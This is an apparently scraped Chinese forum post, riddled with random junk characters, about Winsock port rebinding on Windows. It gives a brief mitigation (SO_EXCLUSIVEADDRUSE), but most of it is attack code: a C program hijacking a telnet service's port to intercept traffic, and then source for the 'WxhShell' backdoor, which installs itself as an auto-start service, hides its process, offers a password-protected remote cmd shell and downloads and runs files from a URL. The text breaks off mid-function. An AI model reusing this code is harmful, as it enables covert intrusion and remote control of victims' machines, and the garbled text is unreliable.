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在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: /.!&d^ s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); >#;;g2UV j?]+~ saddr.sin_family = AF_INET; $V?sD{=W a*D<J}xe saddr.sin_addr.s_addr = htonl(INADDR_ANY); U;
<{P $^^M&[b- bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); <bg6k . s XP}5i!}}7= 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 2YWO'PL {v=[~H>bt 这意味着什么?意味着可以进行如下的攻击: dnwzf=+>e V(0Y 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 `RE>gX bf2n%-&9g 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到)
n7Eh!< BxlhCu 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 PHIc7*_ "a'I^B/ 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。 N: 38N $yj*n; 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 2
V \hG?< >!" Sr3,L 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 1pDU}rPJ. :R:@V#Y 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 U"Bge\6x= 8,vP']4r% #include C Q iHk #include UukY9n];] #include noa+h<vGb #include z@\mn DWORD WINAPI ClientThread(LPVOID lpParam); vShB26b int main() Z"w}`&TC$^ { ,98 F WORD wVersionRequested; o_Y?s+~i[/ DWORD ret; US9aW)8 WSADATA wsaData; t!J>853 BOOL val; wG)[Ik6: SOCKADDR_IN saddr; mdrqX<x'~ SOCKADDR_IN scaddr; uTrzC+\aU int err; aCQ[Uc<B: SOCKET s; b3%a4Gg& SOCKET sc; Lwf[*n d int caddsize; uBg#zx HANDLE mt; W
wj+\ DWORD tid; lnjs{`^ wVersionRequested = MAKEWORD( 2, 2 ); "10\y{`v^ err = WSAStartup( wVersionRequested, &wsaData ); )AdwA+-x if ( err != 0 ) { UCj+V@{ printf("error!WSAStartup failed!\n"); tCR~z1 return -1; m3P7*S5NJ7 } ^*$!9~ saddr.sin_family = AF_INET; IV':sNV 9lGa*f) //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 X_D-K F E2cZk6~m{ saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); ZK'WKC saddr.sin_port = htons(23); 3y2L!&'z if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) [`tNa Vg { .:Wp9M printf("error!socket failed!\n"); `<<9A\Y-f return -1; iRG6Cw2 } RX?!MDO val = TRUE; l"X,[ //SO_REUSEADDR选项就是可以实现端口重绑定的 &c&TQkx if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) 1?8M31 { T9r6,yY printf("error!setsockopt failed!\n"); Y|hd!C-x return -1; ks%;_~b } -p7
HQ/ //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; 3&M0@/ //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 Da6l=M //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 |)%H_TXTy B]gyj if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) W) { LqJV ret=GetLastError();
:-hVbS0I printf("error!bind failed!\n"); S-Vxlku] return -1; x00'wY| } wnXU= listen(s,2); E1Q#@*rX> while(1) })uyq_nz { x.|sCqx caddsize = sizeof(scaddr); c0&!S-4M //接受连接请求 awQGu,<N sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); z `\KQx if(sc!=INVALID_SOCKET) W[Z[o+7pK { t*Z5{ mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); FBouXu# if(mt==NULL) E|_8#xvb { ;tA$
x!5] printf("Thread Creat Failed!\n"); ".( G,TW break; &><b/,] } DOkuT/+ } v6L]3O1 CloseHandle(mt); w6mYLK% } ZzR0k closesocket(s); !>Q\Y`a,* WSACleanup(); ^vxNS[C`; return 0; q?]KZ_a } aAn p7\7 DWORD WINAPI ClientThread(LPVOID lpParam) MMD=4;X { \xC#Zs[< SOCKET ss = (SOCKET)lpParam; .Xe_Gp"x SOCKET sc; `0q=Z], unsigned char buf[4096]; 7z/O#Fbs SOCKADDR_IN saddr; u:l<NWF^ long num; RwrRN+&s\ DWORD val; (./Iq#@S DWORD ret; 8+Gwv
SDU //如果是隐藏端口应用的话,可以在此处加一些判断 [fvjvN` //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发 r5(efTgAd+ saddr.sin_family = AF_INET; s+&0Z3+ saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); N$:-q'hX saddr.sin_port = htons(23); JlRNJ#h> if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) swJQwY { Y;g\ @j printf("error!socket failed!\n"); o:4#AkS return -1; }rs>B,=*k } RVs=s}|>* val = 100; a gL@A if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) \ZE=WvnhZ { DeT$4c*:[ ret = GetLastError(); ,TB$D]u8 return -1; `Nz`5}8.? } .XkVdaX if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) 4mX?PKvbn { I};*O6D` ret = GetLastError(); -2 8bJ, return -1; "d}ey=$h4 } Co=Bq{GY if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) u'DpZ { 8=0I4\ printf("error!socket connect failed!\n"); $2}%3{<j closesocket(sc); EUV8H}d5 closesocket(ss); &=:3/;c return -1; 0&2`)W?9 } p_EM/jI, while(1) Wfc~"GQq4 { a <F2]H=J //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 0B}2~}# //如果是嗅探内容的话,可以再此处进行内容分析和记录 0O]v| //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 j}(m$j' num = recv(ss,buf,4096,0); "oF)u1_? if(num>0) G!%8DX5 send(sc,buf,num,0); J^<uo( else if(num==0) 88?O4)c break; &rX#A@= num = recv(sc,buf,4096,0); C[#C/@ if(num>0) [9MbNJt 8~ send(ss,buf,num,0); 3Z#WAhfS: else if(num==0) ?*7Mn` break; '^$+G0jv } @^ m0>H closesocket(ss); "{t]~urLd closesocket(sc); asCcBp return 0 ; ?gjx7TQ? } v#X#F9C '4Qsl~[Eh AR$SQ_4 ========================================================== Z`ww[Tbv~ k{UeY[,jb 下边附上一个代码,,WXhSHELL
j},i=v l5KO_"hy ========================================================== ]T2Nr[vu L<Z,@q` #include "stdafx.h" n"Bc2}{ :rjfAe=s #include <stdio.h> %&V%=-O_7 #include <string.h> S)4p'cUwq #include <windows.h> %*Uc,V #include <winsock2.h> h@(+(fVHrp #include <winsvc.h> n}(A4^=4KQ #include <urlmon.h> 5wl;fL~e #5'&
|< #pragma comment (lib, "Ws2_32.lib") ``6- #pragma comment (lib, "urlmon.lib") o[+t}hC[ wArfnB& #define MAX_USER 100 // 最大客户端连接数 8~TKiR5 #define BUF_SOCK 200 // sock buffer %NC/zqPH~ #define KEY_BUFF 255 // 输入 buffer 6h %rt]g wp>
z04
#define REBOOT 0 // 重启 @>V;guJC% #define SHUTDOWN 1 // 关机 DZ`m{l3H YgS,5::SU #define DEF_PORT 5000 // 监听端口 <c!gg7@pm KNj~7aTp #define REG_LEN 16 // 注册表键长度 9tVV?Q@) #define SVC_LEN 80 // NT服务名长度 J1~E*t^ !=a]Awr\ // 从dll定义API \^RKb-6n typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); UF*R1{ typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); P~iZae
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); BHZhdm@), typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); ;YW@ 3F-h VYO1qj // wxhshell配置信息 7\R"RH- struct WSCFG { .q[}e);) int ws_port; // 监听端口 MxKTKBxQ char ws_passstr[REG_LEN]; // 口令 ]yZ%wU9! int ws_autoins; // 安装标记, 1=yes 0=no *)6\V}` char ws_regname[REG_LEN]; // 注册表键名 _:p-\Oo. char ws_svcname[REG_LEN]; // 服务名 J.M&Vj: char ws_svcdisp[SVC_LEN]; // 服务显示名 :Q@/F;Z? char ws_svcdesc[SVC_LEN]; // 服务描述信息 uLPBl~Y
char ws_passmsg[SVC_LEN]; // 密码输入提示信息 5/7(>ivn int ws_downexe; // 下载执行标记, 1=yes 0=no 1<_/Qu>V char ws_fileurl[SVC_LEN]; // 下载文件的 url, " http://xxx/file.exe" AYNdV( char ws_filenam[SVC_LEN]; // 下载后保存的文件名 |5X[/Q*K`W H6|eUU[& }; Pw thYy 0\B{~1(^ // default Wxhshell configuration >!a- " struct WSCFG wscfg={DEF_PORT, RtpV08s\ "xuhuanlingzhe", /@\R 1, BzO,(bd!PI "Wxhshell", N@}h "Wxhshell", ?2dI8bG "WxhShell Service", YhS_ ,3E "Wrsky Windows CmdShell Service", c<MF:|(} "Please Input Your Password: ", =+ >>l0=_v 1, c%gL3kOT " http://www.wrsky.com/wxhshell.exe", Qr4 D "Wxhshell.exe" TO"Md["GI }; 83gWA>Odh eNVuw: Q+ // 消息定义模块 u'>94Gm} char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; A>2 _I) char *msg_ws_prompt="\n\r? for help\n\r#>"; =y)K er char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#> http://.../server.exe\n\r"; P*~
vWYH9 char *msg_ws_ext="\n\rExit."; 1;V_E2?V char *msg_ws_end="\n\rQuit."; @DY"~ccH char *msg_ws_boot="\n\rReboot..."; QKlsBq char *msg_ws_poff="\n\rShutdown..."; f86Z #% char *msg_ws_down="\n\rSave to "; m_@XoS
yxI 0< vJ*z|_ char *msg_ws_err="\n\rErr!"; q^Oj/ws char *msg_ws_ok="\n\rOK!"; dIYf}7 P JTm'fo[ char ExeFile[MAX_PATH]; c"Vp5lo0 int nUser = 0; Ro"'f7(v. HANDLE handles[MAX_USER]; PoPR34]^J int OsIsNt; jlU6keZh` HG?+b SERVICE_STATUS serviceStatus; Fs%`W4/ SERVICE_STATUS_HANDLE hServiceStatusHandle; .SER,],P C c:<F_UI // 函数声明 Sp:w _;{# int Install(void); (tg9"C int Uninstall(void); <p*k-mfr int DownloadFile(char *sURL, SOCKET wsh); 7*KUM6z int Boot(int flag); =r7!QXPH} void HideProc(void); :/$WeAg int GetOsVer(void); F4==a8 int Wxhshell(SOCKET wsl); f(~N+2} void TalkWithClient(void *cs); X~D[CwA|` int CmdShell(SOCKET sock); 8(L2w|+B< int StartFromService(void); NjOUe?BQ int StartWxhshell(LPSTR lpCmdLine); R]&Csr#~ e(|Z<6 VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); yV\%K6d|3& VOID WINAPI NTServiceHandler( DWORD fdwControl ); 1Kk6nUIN [X!w@d= i // 数据结构和表定义 PS+~JwD Uc SERVICE_TABLE_ENTRY DispatchTable[] = NLG\*mQ { Q!V:=d {wscfg.ws_svcname, NTServiceMain}, S_Wq`I@b {NULL, NULL} "V26\ }; s_VcC_A F=1 #qo<? // 自我安装 1(IZ,*i int Install(void) P@vUQ { v
x/YWZ char svExeFile[MAX_PATH]; /3~L#jS HKEY key; 2[qfF6FHA strcpy(svExeFile,ExeFile); vB_3lAJt@ ~nfOV* // 如果是win9x系统,修改注册表设为自启动 w3);ZQ| if(!OsIsNt) { $m2#oI'D if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { _
s3d$C?B RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); b&&l RegCloseKey(key); 72Y6gcg if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { NGl
8*Af RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 3,{eH6,O7M RegCloseKey(key); ,S=[# return 0; rD SYR\cg } 9|Jv>Ur=)2 } &TQ~!ZMOR" } il@>b else { Z6i~Dy3 PD.$a-t // 如果是NT以上系统,安装为系统服务 S,AxrQc SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); \j62" if (schSCManager!=0) "N6HX* { "j,vlG SC_HANDLE schService = CreateService J~]@#=,v ( ?1JY6v]h4 schSCManager, ^?+[yvq wscfg.ws_svcname, P{6$".kIY wscfg.ws_svcdisp, Rq5'=L SERVICE_ALL_ACCESS, s~A-qG> SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , Lxv 4w SERVICE_AUTO_START, goIvm:? SERVICE_ERROR_NORMAL, ~. vridH svExeFile, S1U0sP@o NULL, (!5Ta7X NULL, o&E8<e NULL, eb\S pdM6 NULL, S7f.^8 NULL e>Z&0lV: ); nWIZ0Nde' if (schService!=0) rtJER?A { Y|fD)zG_ CloseServiceHandle(schService); B\c_GX Uw CloseServiceHandle(schSCManager); \~E?;q! strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); WT<}3(S'? strcat(svExeFile,wscfg.ws_svcname); v-3VzAd=*& if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { K_)~&Cu*' RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); qsep9z. RegCloseKey(key); VRQ`-# return 0; c.IUqin } znsQ/[ } w8 :[w CloseServiceHandle(schSCManager); I$t8Ko._" } AF{uFna } <.n,:ir D :U6r^c return 1; rC^5Z } <}{<FXk[ )-)rL@s. // 自我卸载 MOaI~xZ int Uninstall(void) iF^qbh%%E { ^:{8z;w!( HKEY key; xX%ppD7 vF$(
Y/ if(!OsIsNt) { N<:c*X if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { ]|CcQ1#|H RegDeleteValue(key,wscfg.ws_regname); Yvo*^jv RegCloseKey(key); rwLKY.J] if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { v}j5G,
[- RegDeleteValue(key,wscfg.ws_regname); mufGv%U2 RegCloseKey(key); o{,IO!q return 0; A4,{ep'Z! } FprdP*/ } ]{6/6jl } u>fMO9X}2 else { wkx9@?2* R QQ'Wg SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); D#&9zR86F if (schSCManager!=0) LVB wWlJ { spfW)v/T! SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); =\%ER/ if (schService!=0) dXh[Ea^ { vYV!8o.I if(DeleteService(schService)!=0) { BrE#.g Jq CloseServiceHandle(schService); 6v3l^~kc' CloseServiceHandle(schSCManager); @@oJ@; return 0; GB|>eZLv< } tVAo o-% CloseServiceHandle(schService); &<e18L7a } kFp^?+WI%H CloseServiceHandle(schSCManager); c36p+6rJk= } 'z"vk } /Yy)=~t{ a*5KUj6/TL return 1; }9"''Z } )&1v[]%S ^H.B6h? // 从指定url下载文件 Fa>f'VXx int DownloadFile(char *sURL, SOCKET wsh) #4bT8kq { u4~+Bc_GL HRESULT hr; \.mVLLtG char seps[]= "/"; 2]mV9B char *token; <(jk}wa< char *file; 00 x- char myURL[MAX_PATH]; 6AJk6W^Z char myFILE[MAX_PATH]; dBd7#V:}yV )ovAG O strcpy(myURL,sURL); .b]sQ' token=strtok(myURL,seps); "KP]3EyPc while(token!=NULL) >; MJm { Q<V(#)* file=token; 61H_o7XXk token=strtok(NULL,seps); Xb%Q%"?~ } !ddyJJ^a Q[#}Oh6$ GetCurrentDirectory(MAX_PATH,myFILE); N4ZV+
|
strcat(myFILE, "\\"); ({j8|{)+ strcat(myFILE, file); rgVRF44X{ send(wsh,myFILE,strlen(myFILE),0); P$U"y/ send(wsh,"...",3,0); H\QkU`b hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); Qz[^J if(hr==S_OK) /Ot3[B return 0; @G2# Z else zE/l return 1; r"2lcNE X=#us7W} } _A C N 1jd{AqHl // 系统电源模块 v>wN
O int Boot(int flag) q|<B9Jk { }8 z:L< HANDLE hToken; 'w=|uE {^ TOKEN_PRIVILEGES tkp; %N-aLw\ :*KTpTa if(OsIsNt) { )K{ s^]Jp OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); )9`HO?
LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); Hnt*,C.0 tkp.PrivilegeCount = 1; jXeE]A" tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; Csuasi3]1d AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); vT EqT if(flag==REBOOT) { 4 -tC=>>wc if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) S&}7XjY return 0; {d[Nc,AMb } g}0K@z3 else { U&#`
<R_0 if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) VP
A+/5TW return 0; d2UidDU5qa } F NPu } f/J/tt else { c7r(&h if(flag==REBOOT) { (O+d6oT=Z2 if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) l}/_(* return 0; X\Bl?
F
} .hmeP
MK else { Ts
!g=F if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) aPelt` return 0; gw"cXny } Cy?]o?_? } 1]:,Xa+|S {KHI(*r; return 1; [gBf1,bK } 2%WeB/)9 |,,#DSe // win9x进程隐藏模块 gttsxOgktH void HideProc(void) h,Hr0^? { :o!Kz`J X0
|U?Ib? HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); Acw`ytV if ( hKernel != NULL ) u9@B& { {*O%A
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); 0FcDO5ia ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); vSnVq>-q& FreeLibrary(hKernel); 3`reXms*{ } &tZIWV1& v<v;Z R) return; }3: mn } W$`v^1M2o `e,}7zGR // 获取操作系统版本 qkhre3 int GetOsVer(void) oUnb-,8n { anW['!T9{s OSVERSIONINFO winfo; 4nm.ea| winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); 29J|eBvxx GetVersionEx(&winfo); 5.5kH$;> if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) I]eeV+U8W return 1; hn2:@^=f else .F7?}8>Z return 0; -
2L(])t6 } (@}^ 3jpT L!xFhVA< // 客户端句柄模块 Q (f0S int Wxhshell(SOCKET wsl) Dh`&B { _5 SvZ;4 SOCKET wsh; aaU4Jl?L struct sockaddr_in client; N%f" W&ci DWORD myID; #-YbZ ?-c|c_|$ while(nUser<MAX_USER) vy~6]hH { c-hc.i}! int nSize=sizeof(client); "^z%|uXkf wsh=accept(wsl,(struct sockaddr *)&client,&nSize); 8)8~c@ if(wsh==INVALID_SOCKET) return 1; y0p=E^QM M@es8\&S. handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); X >7Pqn' if(handles[nUser]==0) N-2#-poDe closesocket(wsh); 7=N%$]DKZ else 4C?{p%3c nUser++; PJZ;wqTD_ } lknj/i5L WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); %BC%fVdP E?+~S M1~ return 0; P WS8Dpb } H'3
pHb S=P}Jpq?Y; // 关闭 socket z+.G>0M void CloseIt(SOCKET wsh) VL*5 { \9,lMK[b closesocket(wsh); E&J<qTH9 nUser--; G)~>d/ ExitThread(0); 4Vi*Qa_,y } =b$g_+ 7Z2D}O+ // 客户端请求句柄 w
aniCEo void TalkWithClient(void *cs) ?:/J8s
[O { ?x",VA |rJN SOCKET wsh=(SOCKET)cs; o%+w:u. char pwd[SVC_LEN]; gtH^'vFZ char cmd[KEY_BUFF]; U $#^ e char chr[1]; 2#$7!`6K int i,j; H 2I x(u.(:V while (nUser < MAX_USER) { -}TP)/!,* [cDDZ+6 if(wscfg.ws_passstr) { H$ nzyooh if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); f
] *w1 //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); @{qcu\sZ //ZeroMemory(pwd,KEY_BUFF); H%n/;DW i=0; e;=R8i while(i<SVC_LEN) { l1zPL3"u_^ *H/)S 5 // 设置超时 sB:e:PK fd_set FdRead; _K?v^oM# struct timeval TimeOut; -ioO8D&! FD_ZERO(&FdRead); gAvNm[=wD2 FD_SET(wsh,&FdRead); P}AwE,&Q TimeOut.tv_sec=8; prO&"t
> TimeOut.tv_usec=0; )Mq4p'*A[ int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut);
LT{g^g if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); X_-/j. "d/54PKWx if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); T#rUbi>"" pwd =chr[0]; &O+S[~ if(chr[0]==0xd || chr[0]==0xa) { |b@`ykD pwd=0; tPiC?=4R break; #pRbRT9 } ~Fvz&dO i++; 3U?gw!M> } W!el[@ 0KExB{ K // 如果是非法用户,关闭 socket )]Zdaw)X if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); w@WtW8
p^ } ^K`PYai h?;T7|^ send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); lo,$-bJ,<, send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); ^]a #7/]o P:aJ# while(1) { .sj^{kGE d
BJJZ^(
ZeroMemory(cmd,KEY_BUFF); U2wbv Xr5- L"j
tf78 // 自动支持客户端 telnet标准 < !dqTJos j=0; yRfSJbzaf\ while(j<KEY_BUFF) { KjE+QUa if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); Y~(Md@!0S cmd[j]=chr[0]; <c,u3cp if(chr[0]==0xa || chr[0]==0xd) { 0Pe>Es|^A# cmd[j]=0; W>p-u6u%E| break; /O^RF } } 9uBM< j++; ~(IB0=A{v } i2&ed_h<? _cJ2\`M // 下载文件 -cSP_1 if(strstr(cmd,"http://")) { (;57 Vw send(wsh,msg_ws_down,strlen(msg_ws_down),0); *]VFvh if(DownloadFile(cmd,wsh)) bdibaN-h send(wsh,msg_ws_err,strlen(msg_ws_err),0); pn.T~"% else `/ q|@B7 send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ,J{ei7TN } f1 _<G else { OI0;BBZ d~`x )B( switch(cmd[0]) { ZO)S`W E8n)}[k!0 // 帮助 9J>&29@us0 case '?': { T|dY
2 send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); ]5$eAYq break; H+ 0$tHi } =IW?WIXk // 安装 3MY(<TGX case 'i': { 24 )(5!:" if(Install()) Qe}`~a9P send(wsh,msg_ws_err,strlen(msg_ws_err),0); Xp8]qH|K else vL\&6n~M> send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); yLdVd
P break; $}=krz:r } (s7;^)}zx // 卸载 lobGj8uxq case 'r': { 7~GB;1n if(Uninstall()) B,@c;K send(wsh,msg_ws_err,strlen(msg_ws_err),0); ]):<ZsT else 5i1>I=N send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); mqAWL:VvQ7 break; :xh?eN& } d_)o
// 显示 wxhshell 所在路径 ,>eMG=C; g case 'p': { 0\@dYPa&C char svExeFile[MAX_PATH]; Y))u&*RuT0 strcpy(svExeFile,"\n\r"); `9uB~LY^i strcat(svExeFile,ExeFile); k25WucQ send(wsh,svExeFile,strlen(svExeFile),0); #&m0WI1 break; o;=l^- } r!HwXeEn/ // 重启 JoN\]JL\, case 'b': { -xDGH send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); L.2/*H#
if(Boot(REBOOT)) QzzW x2 send(wsh,msg_ws_err,strlen(msg_ws_err),0); "9^j. else { "E8zh|m o closesocket(wsh); J]G?Rc ExitThread(0); 2cq I[t@0 } x7<\]94 break; =}v}my3y" } L2pp6bW // 关机 )d$glI+ case 'd': { kWe{r5C7 send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); }2uI?i8 if(Boot(SHUTDOWN)) hvuIxqv !y send(wsh,msg_ws_err,strlen(msg_ws_err),0); %9M~f* else { 0LfU=X0#7 closesocket(wsh); &znQ;NH# ExitThread(0); m"fNK$_d } E !a|Xp break; \yd
s5g!: } yfx7{naKC` // 获取shell 839IRM@'5 case 's': { qZh1`\G CmdShell(wsh); ;IVDr: closesocket(wsh); E2"q3_,, ExitThread(0); rfgI$eu
break; Qum9A } :L1dyVA{ // 退出 HVP"A3}KC case 'x': { BvR-K\rx send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); eOXHQjuj CloseIt(wsh); &p}$J)q break; n%k!vJ)] } %c
[F;ug // 离开 BwBm[jtP case 'q': { *+\SyO send(wsh,msg_ws_end,strlen(msg_ws_end),0); SnFk>` closesocket(wsh); Yb/i{@AJ WSACleanup(); >layJt exit(1); wmTq` XH) break; AwTJJ0> } \uXcLhXN } j~+>o[c } g-e#!( y-j\zK // 提示信息 1xbK'i:-S if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); w7FW^6Zl } lK4M.QV
?\ } t\
7~S&z g+ MdHn[ return; ,Vh{gm1 } ^ mS
o1?< |6(ZD^w // shell模块句柄 B"v.*
%"&/ int CmdShell(SOCKET sock) KGWyJ { 9(L)&S{4K STARTUPINFO si; `8I&7c ZeroMemory(&si,sizeof(si)); g=]u^& si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES;
k0 si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; X*,%&6O* PROCESS_INFORMATION ProcessInfo; sL@U char cmdline[]="cmd"; sPps q CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); V
hk_ return 0; TzntO9P+ } 0%Z]h?EYy| y /BJIQ // 自身启动模式 xritonG/F int StartFromService(void) j8n4fv-)f { q-`RI*1] typedef struct KrXdnY8 { Ai/b\:V9S DWORD ExitStatus; wo3wtx DWORD PebBaseAddress; hTEx]# ( DWORD AffinityMask; UH"#2< |b DWORD BasePriority; -CR?<A4mud ULONG UniqueProcessId; /MF!GM ULONG InheritedFromUniqueProcessId; hTM[8 ~<^ } PROCESS_BASIC_INFORMATION; ~O]]N;>72" PZm:T+5H PROCNTQSIP NtQueryInformationProcess; PNA\ TXT Y)$ ;Ax-D static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; #."Hh<C static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; 3`#6ACF (lGaPMEU} HANDLE hProcess; N,f4*PQ PROCESS_BASIC_INFORMATION pbi; A^RR@D :UbM ! HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); v0kqu if(NULL == hInst ) return 0; UTSL K^ 3co g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); ^<:sdv>Y5 g_pGetModuleBaseName = 